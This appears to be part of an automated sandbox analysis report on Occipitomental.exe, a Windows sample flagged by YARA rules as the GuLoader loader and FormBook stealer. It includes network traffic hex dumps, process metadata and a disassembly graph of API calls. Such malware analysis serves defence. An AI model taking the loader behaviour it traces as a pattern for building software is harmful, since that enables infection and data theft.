                                                2024-10-22 14:14:35 UTC1378INData Raw: e2 02 91 0e 5e e2 cc 73 bd 2d 1e a5 f6 e3 4f e1 aa 58 ea 32 31 77 cd f2 c3 68 67 5d 2a a7 1e 13 56 18 02 0f 5e 7b 66 54 d6 7a 2a 04 00 96 62 ad 83 98 ac 6d 6e ae 7f 24 93 93 db 0c c6 88 04 c4 53 b5 54 b5 cf 07 7a a1 d9 1e 3e 01 77 2c 9f ec 64 12 8f 99 03 92 80 22 de 40 b8 44 8f 90 e8 fb 0f f2 4a 28 05 d9 c7 21 98 de f9 81 86 d1 e2 68 a6 4a 52 4f 02 88 43 4a 75 1c 7a 90 c6 9c 9a 69 df 10 83 43 ba ba 89 da 3f 87 cf 85 f7 6e 8c 54 73 01 2e 49 72 31 68 a3 a4 0c e3 cb 61 f6 52 a4 fd e4 55 a8 ef 14 15 90 69 9b f8 ca da e9 2f 4a 6e 8d f0 af 4f 5b 4c 18 72 cd a7 7b 94 ab 50 15 0e ea cb 89 49 ce ff 9c 89 4c e1 6d 1f 46 46 c4 12 4d 3a 67 45 2a 52 95 20 ed c0 d7 fd 84 f6 81 1d 8b 39 a7 bd 98 be 33 31 20 ee 63 05 27 30 9c 72 01 5a fb 65 9f ec fc be d9 0c 72 90 ef 06
                                                Data Ascii: ^s-OX21whg]*V^{fTz*bmn$STz>w,d"@DJ(!hJROCJuziC?nTs.Ir1haRUi/JnO[Lr{PILmFFM:gE*R 931 c'0rZer
                                                2024-10-22 14:14:35 UTC1378INData Raw: f8 40 0f 0c 8b c7 8c e3 35 96 60 b2 09 3b 86 c9 4c 1e c1 67 d8 b9 f1 8e be 0f 3a f7 fd 4f c0 f2 94 18 9b 6e 21 5c 7d f3 37 65 d8 3f 8e 6c 55 09 31 5f a9 ef 55 20 01 78 74 60 23 f3 91 0b cf 64 ba 73 b3 99 ae ae 2a 29 b3 58 ff 6d 01 0f bc e7 d5 ee 52 11 6f 1c 9e 2e 3b 7e da 61 2c 87 2a bc 2a 1f 50 fa 60 bb 9a 44 e7 80 65 d5 0f 9c 1a 7c fe 3e 66 5f 78 4d 91 2c 61 92 32 94 ac c3 2b d0 b2 46 0a 42 f4 fb 37 fc 12 7b c9 3c 36 43 af ca 2e 9f 1d 3e 00 6b 6c 7d 65 d7 9b c8 5c a6 88 08 df 58 c6 ce d9 67 10 cd e8 c3 8d 92 61 5a 56 5a 7c 98 2f 56 e3 a6 26 89 63 35 0e ae ca 96 8c e1 81 78 63 fc ea af 39 8c 06 f3 6f e2 37 dc f5 b1 02 97 5a f1 70 74 fd d8 bf 3f dd a3 63 c2 0a ca bd 1d c8 c9 3a f2 5e eb 3b c7 f3 26 13 85 22 fc c4 73 94 a7 d6 b5 81 81 ef 45 d9 8a 3a eb 81
                                                Data Ascii: @5`;Lg:On!\}7e?lU1_U xt`#ds*)XmRo.;~a,**P`De|>f_xM,a2+FB7{<6C.>kl}e\XgaZVZ|/V&c5xc9o7Zpt?c:^;&"sE:
                                                2024-10-22 14:14:35 UTC1378INData Raw: ab 3d 2a 6f 82 ab 23 7c 74 1e 14 fa 2b 48 b7 c1 69 c3 c8 6e e2 c8 b1 39 c8 16 cd 2f 1b 42 d9 f9 59 52 3c 9c cf 50 5d 11 9d b3 b4 2d 0f d2 f0 6f 75 15 bf d2 fd 74 6d 0f 7e 2d 86 e3 0c 0c 27 a1 60 5e 7f 4a cf fe 4c 7d 55 d5 a6 94 09 0f d8 68 81 80 04 08 1c b9 9e 5e dd 0f e7 a3 04 9d 51 ce 30 b3 47 65 7b 1b 4e 34 26 06 bd dd 15 c2 77 ab 5f 50 1e 74 a3 ce 29 ca f4 d2 23 f5 f1 0a 20 7a 3c 84 b4 15 3d 35 5e 8a a4 ec b3 11 fb 49 94 c7 de 4e 1c 13 4b 37 6f 3a 40 90 fc f5 a1 91 a7 76 00 a6 e9 62 83 0e 32 04 86 c2 da cb d2 b3 99 a3 ca e4 57 4d ef 83 9b a9 a4 a1 b4 01 24 2e a5 c5 2b 70 35 c3 8f ab 5b cc fa f2 3a d4 49 4e 25 11 b9 77 12 ef a8 e0 53 30 74 4c c2 82 10 78 15 d3 94 10 7d d1 6f d8 1f 6c e5 c4 99 70 30 d5 b0 dc 22 2e f1 3f af 07 a1 83 9a 66 ab 52 12 15 be
                                                Data Ascii: =*o#|t+Hin9/BYR<P]-outm~-'`^JL}Uh^Q0Ge{N4&w_Pt)# z<=5^INK7o:@vb2WM$.+p5[:IN%wS0tLx}olp0".?fR


                                                Statistics

                                                CPU Usage

                                                Click to jump to process

                                                Memory Usage

                                                Click to jump to process

                                                Behavior

                                                Click to jump to process

                                                System Behavior

                                                General

                                                Target ID:0
                                                Start time:10:11:37
                                                Start date:22/10/2024
                                                Path:C:\Users\user\Desktop\Occipitomental.exe
                                                Wow64 process (32bit):true
                                                Commandline:"C:\Users\user\Desktop\Occipitomental.exe"
                                                Imagebase:0x400000
                                                File size:709'552 bytes
                                                MD5 hash:B0468F2993C4838126375529CCD4155A
                                                Has elevated privileges:true
                                                Has administrator privileges:true
                                                Programmed in:C, C++ or other language
                                                Yara matches:
                                                • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.3064036852.0000000003A2F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                Reputation:low
                                                Has exited:true

                                                General

                                                Target ID:6
                                                Start time:10:14:23
                                                Start date:22/10/2024
                                                Path:C:\Users\user\Desktop\Occipitomental.exe
                                                Wow64 process (32bit):true
                                                Commandline:"C:\Users\user\Desktop\Occipitomental.exe"
                                                Imagebase:0x400000
                                                File size:709'552 bytes
                                                MD5 hash:B0468F2993C4838126375529CCD4155A
                                                Has elevated privileges:true
                                                Has administrator privileges:true
                                                Programmed in:C, C++ or other language
                                                Yara matches:
                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.3573012029.000000000215F000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                Reputation:low
                                                Has exited:true

                                                Disassembly

                                                Reset < >

                                                  Execution Graph

                                                  Execution Coverage:16.7%
                                                  Dynamic/Decrypted Code Coverage:14.1%
                                                  Signature Coverage:23.7%
                                                  Total number of Nodes:1504
                                                  Total number of Limit Nodes:39
                                                  execution_graph 4848 10001000 4851 1000101b 4848->4851 4858 100014bb 4851->4858 4853 10001020 4854 10001024 4853->4854 4855 10001027 GlobalAlloc 4853->4855 4856 100014e2 3 API calls 4854->4856 4855->4854 4857 10001019 4856->4857 4860 100014c1 4858->4860 4859 100014c7 4859->4853 4860->4859 4861 100014d3 GlobalFree 4860->4861 4861->4853 4862 4027c1 4863 402a1d 18 API calls 4862->4863 4864 4027c7 4863->4864 4865 402802 4864->4865 4866 4027eb 4864->4866 4871 4026a6 4864->4871 4868 402818 4865->4868 4869 40280c 4865->4869 4867 4027f0 4866->4867 4875 4027ff 4866->4875 4876 405cfd lstrcpynA 4867->4876 4870 405d1f 18 API calls 4868->4870 4872 402a1d 18 API calls 4869->4872 4870->4875 4872->4875 4875->4871 4877 405c5b wsprintfA 4875->4877 4876->4871 4877->4871 4878 401cc2 4879 402a1d 18 API calls 4878->4879 4880 401cd2 SetWindowLongA 4879->4880 4881 4028cf 4880->4881 4882 401a43 4883 402a1d 18 API calls 4882->4883 4884 401a49 4883->4884 4885 402a1d 18 API calls 4884->4885 4886 4019f3 4885->4886 3987 401e44 3988 402a3a 18 API calls 3987->3988 3989 401e4a 3988->3989 4003 404f16 3989->4003 3993 401e5a 3994 401eb0 CloseHandle 3993->3994 3995 401e79 WaitForSingleObject 3993->3995 3996 4026a6 3993->3996 4017 4060ce 3993->4017 3994->3996 3995->3993 3997 401e87 GetExitCodeProcess 3995->3997 3999 401ea4 3997->3999 4000 401e99 3997->4000 3999->3994 4001 401ea2 3999->4001 4021 405c5b wsprintfA 4000->4021 4001->3994 4004 404f31 4003->4004 4013 401e54 4003->4013 4005 404f4e lstrlenA 4004->4005 4006 405d1f 18 API calls 4004->4006 4007 404f77 4005->4007 4008 404f5c lstrlenA 4005->4008 4006->4005 4010 404f8a 4007->4010 4011 404f7d SetWindowTextA 4007->4011 4009 404f6e lstrcatA 4008->4009 4008->4013 4009->4007 4012 404f90 SendMessageA SendMessageA SendMessageA 4010->4012 4010->4013 4011->4010 4012->4013 4014 40548e CreateProcessA 4013->4014 4015 4054c1 CloseHandle 4014->4015 4016 4054cd 4014->4016 4015->4016 4016->3993 4018 4060eb PeekMessageA 4017->4018 4019 4060e1 DispatchMessageA 4018->4019 4020 4060fb 4018->4020 4019->4018 4020->3995 4021->4001 4887 402644 4888 40264a 4887->4888 4889 402652 FindClose 4888->4889 4890 4028cf 4888->4890 4889->4890 4891 406344 4893 4061c8 4891->4893 4892 406b33 4893->4892 4894 406252 GlobalAlloc 4893->4894 4895 406249 GlobalFree 4893->4895 4896 4062c0 GlobalFree 4893->4896 4897 4062c9 GlobalAlloc 4893->4897 4894->4892 4894->4893 4895->4894 4896->4897 4897->4892 4897->4893 4898 4026c6 4899 402a3a 18 API calls 4898->4899 4900 4026d4 4899->4900 4901 4026ea 4900->4901 4902 402a3a 18 API calls 4900->4902 4903 40594b 2 API calls 4901->4903 4902->4901 4904 4026f0 4903->4904 4926 405970 GetFileAttributesA CreateFileA 4904->4926 4906 4026fd 4907 4027a0 4906->4907 4908 402709 GlobalAlloc 4906->4908 4911 4027a8 DeleteFileA 4907->4911 4912 4027bb 4907->4912 4909 402722 4908->4909 4910 402797 CloseHandle 4908->4910 4927 403091 SetFilePointer 4909->4927 4910->4907 4911->4912 4914 402728 4915 40307b ReadFile 4914->4915 4916 402731 GlobalAlloc 4915->4916 4917 402741 4916->4917 4918 402775 4916->4918 4920 402e9f 36 API calls 4917->4920 4919 405a17 WriteFile 4918->4919 4921 402781 GlobalFree 4919->4921 4925 40274e 4920->4925 4922 402e9f 36 API calls 4921->4922 4924 402794 4922->4924 4923 40276c GlobalFree 4923->4918 4924->4910 4925->4923 4926->4906 4927->4914 4078 4022c7 4079 402a3a 18 API calls 4078->4079 4080 4022d8 4079->4080 4081 402a3a 18 API calls 4080->4081 4082 4022e1 4081->4082 4083 402a3a 18 API calls 4082->4083 4084 4022eb GetPrivateProfileStringA 4083->4084 4928 402847 4929 402a1d 18 API calls 4928->4929 4930 40284d 4929->4930 4931 40287e 4930->4931 4933 4026a6 4930->4933 4934 40285b 4930->4934 4932 405d1f 18 API calls 4931->4932 4931->4933 4932->4933 4934->4933 4936 405c5b wsprintfA 4934->4936 4936->4933 4278 1000270b 4279 1000275b 4278->4279 4280 1000271b VirtualProtect 4278->4280 4280->4279 4947 1000180d 4948 10001830 4947->4948 4949 10001860 GlobalFree 4948->4949 4950 10001872 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 4948->4950 4949->4950 4951 10001266 2 API calls 4950->4951 4952 100019e3 GlobalFree GlobalFree 4951->4952 4472 401751 4473 402a3a 18 API calls 4472->4473 4474 401758 4473->4474 4475 401776 4474->4475 4476 40177e 4474->4476 4512 405cfd lstrcpynA 4475->4512 4513 405cfd lstrcpynA 4476->4513 4479 40177c 4483 405f68 5 API calls 4479->4483 4480 401789 4481 40576f 3 API calls 4480->4481 4482 40178f lstrcatA 4481->4482 4482->4479 4503 40179b 4483->4503 4484 4017dc 4486 40594b 2 API calls 4484->4486 4485 406001 2 API calls 4485->4503 4486->4503 4488 4017b2 CompareFileTime 4488->4503 4489 401876 4491 404f16 25 API calls 4489->4491 4490 40184d 4492 404f16 25 API calls 4490->4492 4510 401862 4490->4510 4493 401880 4491->4493 4492->4510 4494 402e9f 36 API calls 4493->4494 4495 401893 4494->4495 4496 4018a7 SetFileTime 4495->4496 4497 4018b9 CloseHandle 4495->4497 4496->4497 4499 4018ca 4497->4499 4497->4510 4498 405d1f 18 API calls 4498->4503 4500 4018e2 4499->4500 4501 4018cf 4499->4501 4505 405d1f 18 API calls 4500->4505 4504 405d1f 18 API calls 4501->4504 4502 405cfd lstrcpynA 4502->4503 4503->4484 4503->4485 4503->4488 4503->4489 4503->4490 4503->4498 4503->4502 4511 405970 GetFileAttributesA CreateFileA 4503->4511 4514 4054f3 4503->4514 4507 4018d7 lstrcatA 4504->4507 4508 4018ea 4505->4508 4507->4508 4509 4054f3 MessageBoxIndirectA 4508->4509 4509->4510 4511->4503 4512->4479 4513->4480 4516 405508 4514->4516 4515 405554 4515->4503 4516->4515 4517 40551c MessageBoxIndirectA 4516->4517 4517->4515 4953 401651 4954 402a3a 18 API calls 4953->4954 4955 401657 4954->4955 4956 406001 2 API calls 4955->4956 4957 40165d 4956->4957 4958 401951 4959 402a1d 18 API calls 4958->4959 4960 401958 4959->4960 4961 402a1d 18 API calls 4960->4961 4962 401962 4961->4962 4963 402a3a 18 API calls 4962->4963 4964 40196b 4963->4964 4965 40197e lstrlenA 4964->4965 4967 4019b9 4964->4967 4966 401988 4965->4966 4966->4967 4971 405cfd lstrcpynA 4966->4971 4969 4019a2 4969->4967 4970 4019af lstrlenA 4969->4970 4970->4967 4971->4969 4972 4019d2 4973 402a3a 18 API calls 4972->4973 4974 4019d9 4973->4974 4975 402a3a 18 API calls 4974->4975 4976 4019e2 4975->4976 4977 4019e9 lstrcmpiA 4976->4977 4978 4019fb lstrcmpA 4976->4978 4979 4019ef 4977->4979 4978->4979 4980 4021d2 4981 402a3a 18 API calls 4980->4981 4982 4021d8 4981->4982 4983 402a3a 18 API calls 4982->4983 4984 4021e1 4983->4984 4985 402a3a 18 API calls 4984->4985 4986 4021ea 4985->4986 4987 406001 2 API calls 4986->4987 4988 4021f3 4987->4988 4989 402204 lstrlenA lstrlenA 4988->4989 4993 4021f7 4988->4993 4991 404f16 25 API calls 4989->4991 4990 404f16 25 API calls 4994 4021ff 4990->4994 4992 402240 SHFileOperationA 4991->4992 4992->4993 4992->4994 4993->4990 4993->4994 4995 405054 4996 405076 GetDlgItem GetDlgItem GetDlgItem 4995->4996 4997 4051ff 4995->4997 5040 403f17 SendMessageA 4996->5040 4999 405207 GetDlgItem CreateThread CloseHandle 4997->4999 5000 40522f 4997->5000 4999->5000 5002 40525d 5000->5002 5003 405245 ShowWindow ShowWindow 5000->5003 5004 40527e 5000->5004 5001 4050e6 5009 4050ed GetClientRect GetSystemMetrics SendMessageA SendMessageA 5001->5009 5005 4052b8 5002->5005 5006 405291 ShowWindow 5002->5006 5007 40526d 5002->5007 5045 403f17 SendMessageA 5003->5045 5049 403f49 5004->5049 5005->5004 5016 4052c5 SendMessageA 5005->5016 5012 4052b1 5006->5012 5013 4052a3 5006->5013 5046 403ebb 5007->5046 5014 40515b 5009->5014 5015 40513f SendMessageA SendMessageA 5009->5015 5018 403ebb SendMessageA 5012->5018 5017 404f16 25 API calls 5013->5017 5019 405160 SendMessageA 5014->5019 5020 40516e 5014->5020 5015->5014 5021 40528a 5016->5021 5022 4052de CreatePopupMenu 5016->5022 5017->5012 5018->5005 5019->5020 5041 403ee2 5020->5041 5023 405d1f 18 API calls 5022->5023 5026 4052ee AppendMenuA 5023->5026 5025 40517e 5029 405187 ShowWindow 5025->5029 5030 4051bb GetDlgItem SendMessageA 5025->5030 5027 40530c GetWindowRect 5026->5027 5028 40531f TrackPopupMenu 5026->5028 5027->5028 5028->5021 5031 40533b 5028->5031 5032 4051aa 5029->5032 5033 40519d ShowWindow 5029->5033 5030->5021 5034 4051e2 SendMessageA SendMessageA 5030->5034 5035 40535a SendMessageA 5031->5035 5044 403f17 SendMessageA 5032->5044 5033->5032 5034->5021 5035->5035 5036 405377 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5035->5036 5038 405399 SendMessageA 5036->5038 5038->5038 5039 4053bb GlobalUnlock SetClipboardData CloseClipboard 5038->5039 5039->5021 5040->5001 5042 405d1f 18 API calls 5041->5042 5043 403eed SetDlgItemTextA 5042->5043 5043->5025 5044->5030 5045->5002 5047 403ec2 5046->5047 5048 403ec8 SendMessageA 5046->5048 5047->5048 5048->5004 5050 403f61 GetWindowLongA 5049->5050 5060 403fea 5049->5060 5051 403f72 5050->5051 5050->5060 5052 403f81 GetSysColor 5051->5052 5053 403f84 5051->5053 5052->5053 5054 403f94 SetBkMode 5053->5054 5055 403f8a SetTextColor 5053->5055 5056 403fb2 5054->5056 5057 403fac GetSysColor 5054->5057 5055->5054 5058 403fc3 5056->5058 5059 403fb9 SetBkColor 5056->5059 5057->5056 5058->5060 5061 403fd6 DeleteObject 5058->5061 5062 403fdd CreateBrushIndirect 5058->5062 5059->5058 5060->5021 5061->5062 5062->5060 5063 402254 5064 40226e 5063->5064 5065 40225b 5063->5065 5066 405d1f 18 API calls 5065->5066 5067 402268 5066->5067 5068 4054f3 MessageBoxIndirectA 5067->5068 5068->5064 4562 4014d6 4563 402a1d 18 API calls 4562->4563 4564 4014dc Sleep 4563->4564 4566 4028cf 4564->4566 4579 4030d9 SetErrorMode GetVersion 4580 403110 4579->4580 4581 403116 4579->4581 4583 406092 5 API calls 4580->4583 4582 406028 3 API calls 4581->4582 4584 40312c 4582->4584 4583->4581 4585 406028 3 API calls 4584->4585 4586 403136 4585->4586 4587 406028 3 API calls 4586->4587 4588 403140 4587->4588 4589 406092 5 API calls 4588->4589 4590 403147 4589->4590 4591 406092 5 API calls 4590->4591 4592 40314e #17 OleInitialize SHGetFileInfoA 4591->4592 4670 405cfd lstrcpynA 4592->4670 4594 40318b GetCommandLineA 4671 405cfd lstrcpynA 4594->4671 4596 40319d GetModuleHandleA 4597 4031b4 4596->4597 4598 40579a CharNextA 4597->4598 4599 4031c8 CharNextA 4598->4599 4605 4031d8 4599->4605 4600 4032a2 4601 4032b5 GetTempPathA 4600->4601 4672 4030a8 4601->4672 4603 4032cd 4606 4032d1 GetWindowsDirectoryA lstrcatA 4603->4606 4607 403327 DeleteFileA 4603->4607 4604 40579a CharNextA 4604->4605 4605->4600 4605->4604 4611 4032a4 4605->4611 4609 4030a8 12 API calls 4606->4609 4682 402c66 GetTickCount GetModuleFileNameA 4607->4682 4610 4032ed 4609->4610 4610->4607 4613 4032f1 GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 4610->4613 4767 405cfd lstrcpynA 4611->4767 4612 40333b 4614 4033d1 4612->4614 4617 4033c1 4612->4617 4621 40579a CharNextA 4612->4621 4616 4030a8 12 API calls 4613->4616 4770 4035a3 4614->4770 4619 40331f 4616->4619 4710 40367d 4617->4710 4619->4607 4619->4614 4623 403356 4621->4623 4632 403401 4623->4632 4633 40339c 4623->4633 4624 403509 4626 403511 GetCurrentProcess OpenProcessToken 4624->4626 4627 40358b ExitProcess 4624->4627 4625 4033eb 4628 4054f3 MessageBoxIndirectA 4625->4628 4629 40355c 4626->4629 4630 40352c LookupPrivilegeValueA AdjustTokenPrivileges 4626->4630 4634 4033f9 ExitProcess 4628->4634 4637 406092 5 API calls 4629->4637 4630->4629 4636 405476 5 API calls 4632->4636 4635 40585d 18 API calls 4633->4635 4638 4033a7 4635->4638 4639 403406 lstrcatA 4636->4639 4640 403563 4637->4640 4638->4614 4768 405cfd lstrcpynA 4638->4768 4641 403422 lstrcatA lstrcmpiA 4639->4641 4642 403417 lstrcatA 4639->4642 4643 403578 ExitWindowsEx 4640->4643 4646 403584 4640->4646 4641->4614 4645 40343e 4641->4645 4642->4641 4643->4627 4643->4646 4648 403443 4645->4648 4649 40344a 4645->4649 4779 40140b 4646->4779 4647 4033b6 4769 405cfd lstrcpynA 4647->4769 4652 4053dc 4 API calls 4648->4652 4653 405459 2 API calls 4649->4653 4654 403448 4652->4654 4655 40344f SetCurrentDirectoryA 4653->4655 4654->4655 4656 403469 4655->4656 4657 40345e 4655->4657 4778 405cfd lstrcpynA 4656->4778 4777 405cfd lstrcpynA 4657->4777 4660 405d1f 18 API calls 4661 4034a8 DeleteFileA 4660->4661 4662 4034b5 CopyFileA 4661->4662 4667 403477 4661->4667 4662->4667 4663 4034fd 4665 405bb8 38 API calls 4663->4665 4664 405bb8 38 API calls 4664->4667 4665->4614 4666 405d1f 18 API calls 4666->4667 4667->4660 4667->4663 4667->4664 4667->4666 4668 40548e 2 API calls 4667->4668 4669 4034e9 CloseHandle 4667->4669 4668->4667 4669->4667 4670->4594 4671->4596 4673 405f68 5 API calls 4672->4673 4674 4030b4 4673->4674 4675 4030be 4674->4675 4676 40576f 3 API calls 4674->4676 4675->4603 4677 4030c6 4676->4677 4678 405459 2 API calls 4677->4678 4679 4030cc 4678->4679 4782 40599f 4679->4782 4786 405970 GetFileAttributesA CreateFileA 4682->4786 4684 402ca6 4702 402cb6 4684->4702 4787 405cfd lstrcpynA 4684->4787 4686 402ccc 4687 4057b6 2 API calls 4686->4687 4688 402cd2 4687->4688 4788 405cfd lstrcpynA 4688->4788 4690 402cdd GetFileSize 4695 402cf4 4690->4695 4707 402dd9 4690->4707 4692 402de2 4694 402e12 GlobalAlloc 4692->4694 4692->4702 4801 403091 SetFilePointer 4692->4801 4693 40307b ReadFile 4693->4695 4800 403091 SetFilePointer 4694->4800 4695->4693 4697 402e45 4695->4697 4695->4702 4706 402c02 6 API calls 4695->4706 4695->4707 4699 402c02 6 API calls 4697->4699 4699->4702 4700 402dfb 4703 40307b ReadFile 4700->4703 4701 402e2d 4704 402e9f 36 API calls 4701->4704 4702->4612 4705 402e06 4703->4705 4708 402e39 4704->4708 4705->4694 4705->4702 4706->4695 4789 402c02 4707->4789 4708->4702 4708->4708 4709 402e76 SetFilePointer 4708->4709 4709->4702 4711 406092 5 API calls 4710->4711 4712 403691 4711->4712 4713 403697 4712->4713 4714 4036a9 4712->4714 4811 405c5b wsprintfA 4713->4811 4715 405be4 3 API calls 4714->4715 4716 4036d4 4715->4716 4718 4036f2 lstrcatA 4716->4718 4720 405be4 3 API calls 4716->4720 4719 4036a7 4718->4719 4802 403942 4719->4802 4720->4718 4723 40585d 18 API calls 4724 403724 4723->4724 4725 4037ad 4724->4725 4727 405be4 3 API calls 4724->4727 4726 40585d 18 API calls 4725->4726 4728 4037b3 4726->4728 4729 403750 4727->4729 4730 4037c3 LoadImageA 4728->4730 4731 405d1f 18 API calls 4728->4731 4729->4725 4734 40376c lstrlenA 4729->4734 4738 40579a CharNextA 4729->4738 4732 403869 4730->4732 4733 4037ea RegisterClassA 4730->4733 4731->4730 4737 40140b 2 API calls 4732->4737 4735 403820 SystemParametersInfoA CreateWindowExA 4733->4735 4736 403873 4733->4736 4739 4037a0 4734->4739 4740 40377a lstrcmpiA 4734->4740 4735->4732 4736->4614 4741 40386f 4737->4741 4742 40376a 4738->4742 4744 40576f 3 API calls 4739->4744 4740->4739 4743 40378a GetFileAttributesA 4740->4743 4741->4736 4747 403942 19 API calls 4741->4747 4742->4734 4746 403796 4743->4746 4745 4037a6 4744->4745 4812 405cfd lstrcpynA 4745->4812 4746->4739 4750 4057b6 2 API calls 4746->4750 4748 403880 4747->4748 4751 40388c ShowWindow 4748->4751 4752 40390f 4748->4752 4750->4739 4753 406028 3 API calls 4751->4753 4813 404fe8 OleInitialize 4752->4813 4755 4038a4 4753->4755 4759 4038b2 GetClassInfoA 4755->4759 4761 406028 3 API calls 4755->4761 4756 403915 4757 403931 4756->4757 4758 403919 4756->4758 4760 40140b 2 API calls 4757->4760 4758->4736 4764 40140b 2 API calls 4758->4764 4762 4038c6 GetClassInfoA RegisterClassA 4759->4762 4763 4038dc DialogBoxParamA 4759->4763 4760->4736 4761->4759 4762->4763 4765 40140b 2 API calls 4763->4765 4764->4736 4766 403904 4765->4766 4766->4736 4767->4601 4768->4647 4769->4617 4771 4035bb 4770->4771 4772 4035ad CloseHandle 4770->4772 4828 4035e8 4771->4828 4772->4771 4775 40559f 69 API calls 4776 4033da OleUninitialize 4775->4776 4776->4624 4776->4625 4777->4656 4778->4667 4780 401389 2 API calls 4779->4780 4781 401420 4780->4781 4781->4627 4783 4059aa GetTickCount GetTempFileNameA 4782->4783 4784 4030d7 4783->4784 4785 4059d7 4783->4785 4784->4603 4785->4783 4785->4784 4786->4684 4787->4686 4788->4690 4790 402c23 4789->4790 4791 402c0b 4789->4791 4792 402c33 GetTickCount 4790->4792 4793 402c2b 4790->4793 4794 402c14 DestroyWindow 4791->4794 4795 402c1b 4791->4795 4797 402c41 CreateDialogParamA ShowWindow 4792->4797 4798 402c64 4792->4798 4796 4060ce 2 API calls 4793->4796 4794->4795 4795->4692 4799 402c31 4796->4799 4797->4798 4798->4692 4799->4692 4800->4701 4801->4700 4803 403956 4802->4803 4820 405c5b wsprintfA 4803->4820 4805 4039c7 4806 405d1f 18 API calls 4805->4806 4807 4039d3 SetWindowTextA 4806->4807 4808 403702 4807->4808 4809 4039ef 4807->4809 4808->4723 4809->4808 4810 405d1f 18 API calls 4809->4810 4810->4809 4811->4719 4812->4725 4821 403f2e 4813->4821 4815 40500b 4819 405032 4815->4819 4824 401389 4815->4824 4816 403f2e SendMessageA 4817 405044 OleUninitialize 4816->4817 4817->4756 4819->4816 4820->4805 4822 403f46 4821->4822 4823 403f37 SendMessageA 4821->4823 4822->4815 4823->4822 4826 401390 4824->4826 4825 4013fe 4825->4815 4826->4825 4827 4013cb MulDiv SendMessageA 4826->4827 4827->4826 4829 4035f6 4828->4829 4830 4035c0 4829->4830 4831 4035fb FreeLibrary GlobalFree 4829->4831 4830->4775 4831->4830 4831->4831 5069 4042d9 5070 4042e9 5069->5070 5071 40430f 5069->5071 5072 403ee2 19 API calls 5070->5072 5073 403f49 8 API calls 5071->5073 5074 4042f6 SetDlgItemTextA 5072->5074 5075 40431b 5073->5075 5074->5071 5076 1000161a 5077 10001649 5076->5077 5078 10001a5d 18 API calls 5077->5078 5079 10001650 5078->5079 5080 10001663 5079->5080 5081 10001657 5079->5081 5083 1000168a 5080->5083 5084 1000166d 5080->5084 5082 10001266 2 API calls 5081->5082 5087 10001661 5082->5087 5085 10001690 5083->5085 5086 100016b4 5083->5086 5088 100014e2 3 API calls 5084->5088 5090 10001559 3 API calls 5085->5090 5091 100014e2 3 API calls 5086->5091 5089 10001672 5088->5089 5092 10001559 3 API calls 5089->5092 5093 10001695 5090->5093 5091->5087 5094 10001678 5092->5094 5095 10001266 2 API calls 5093->5095 5096 10001266 2 API calls 5094->5096 5097 1000169b GlobalFree 5095->5097 5098 1000167e GlobalFree 5096->5098 5097->5087 5099 100016af GlobalFree 5097->5099 5098->5087 5099->5087 5100 40155b 5101 402877 5100->5101 5104 405c5b wsprintfA 5101->5104 5103 40287c 5104->5103 4832 40255c 4833 402a1d 18 API calls 4832->4833 4839 402566 4833->4839 4834 4025d0 4835 4059e8 ReadFile 4835->4839 4836 4025d2 4841 405c5b wsprintfA 4836->4841 4838 4025e2 4838->4834 4840 4025f8 SetFilePointer 4838->4840 4839->4834 4839->4835 4839->4836 4839->4838 4840->4834 4841->4834 5105 40205e 5106 402a3a 18 API calls 5105->5106 5107 402065 5106->5107 5108 402a3a 18 API calls 5107->5108 5109 40206f 5108->5109 5110 402a3a 18 API calls 5109->5110 5111 402079 5110->5111 5112 402a3a 18 API calls 5111->5112 5113 402083 5112->5113 5114 402a3a 18 API calls 5113->5114 5115 40208d 5114->5115 5116 4020cc CoCreateInstance 5115->5116 5117 402a3a 18 API calls 5115->5117 5120 4020eb 5116->5120 5122 402193 5116->5122 5117->5116 5118 401423 25 API calls 5119 4021c9 5118->5119 5121 402173 MultiByteToWideChar 5120->5121 5120->5122 5121->5122 5122->5118 5122->5119 5123 40265e 5124 402664 5123->5124 5125 402668 FindNextFileA 5124->5125 5127 40267a 5124->5127 5126 4026b9 5125->5126 5125->5127 5129 405cfd lstrcpynA 5126->5129 5129->5127 5130 401cde GetDlgItem GetClientRect 5131 402a3a 18 API calls 5130->5131 5132 401d0e LoadImageA SendMessageA 5131->5132 5133 401d2c DeleteObject 5132->5133 5134 4028cf 5132->5134 5133->5134 5135 401662 5136 402a3a 18 API calls 5135->5136 5137 401669 5136->5137 5138 402a3a 18 API calls 5137->5138 5139 401672 5138->5139 5140 402a3a 18 API calls 5139->5140 5141 40167b MoveFileA 5140->5141 5142 401687 5141->5142 5143 40168e 5141->5143 5144 401423 25 API calls 5142->5144 5145 406001 2 API calls 5143->5145 5147 4021c9 5143->5147 5144->5147 5146 40169d 5145->5146 5146->5147 5148 405bb8 38 API calls 5146->5148 5148->5142 4022 402364 4023 40236a 4022->4023 4024 402a3a 18 API calls 4023->4024 4025 40237c 4024->4025 4026 402a3a 18 API calls 4025->4026 4027 402386 RegCreateKeyExA 4026->4027 4028 4023b0 4027->4028 4029 4026a6 4027->4029 4030 402a3a 18 API calls 4028->4030 4032 4023c8 4028->4032 4033 4023c1 lstrlenA 4030->4033 4031 4023d4 4035 4023ef RegSetValueExA 4031->4035 4039 402e9f 4031->4039 4032->4031 4060 402a1d 4032->4060 4033->4032 4037 402405 RegCloseKey 4035->4037 4037->4029 4041 402eb5 4039->4041 4040 402ee0 4063 40307b 4040->4063 4041->4040 4075 403091 SetFilePointer 4041->4075 4045 403005 4045->4035 4046 40301b 4048 40301f 4046->4048 4052 403037 4046->4052 4047 402efd GetTickCount 4055 402f10 4047->4055 4049 40307b ReadFile 4048->4049 4049->4045 4050 40307b ReadFile 4050->4052 4051 40307b ReadFile 4051->4055 4052->4045 4052->4050 4053 405a17 WriteFile 4052->4053 4053->4052 4055->4045 4055->4051 4056 402f76 GetTickCount 4055->4056 4057 402f9f MulDiv wsprintfA 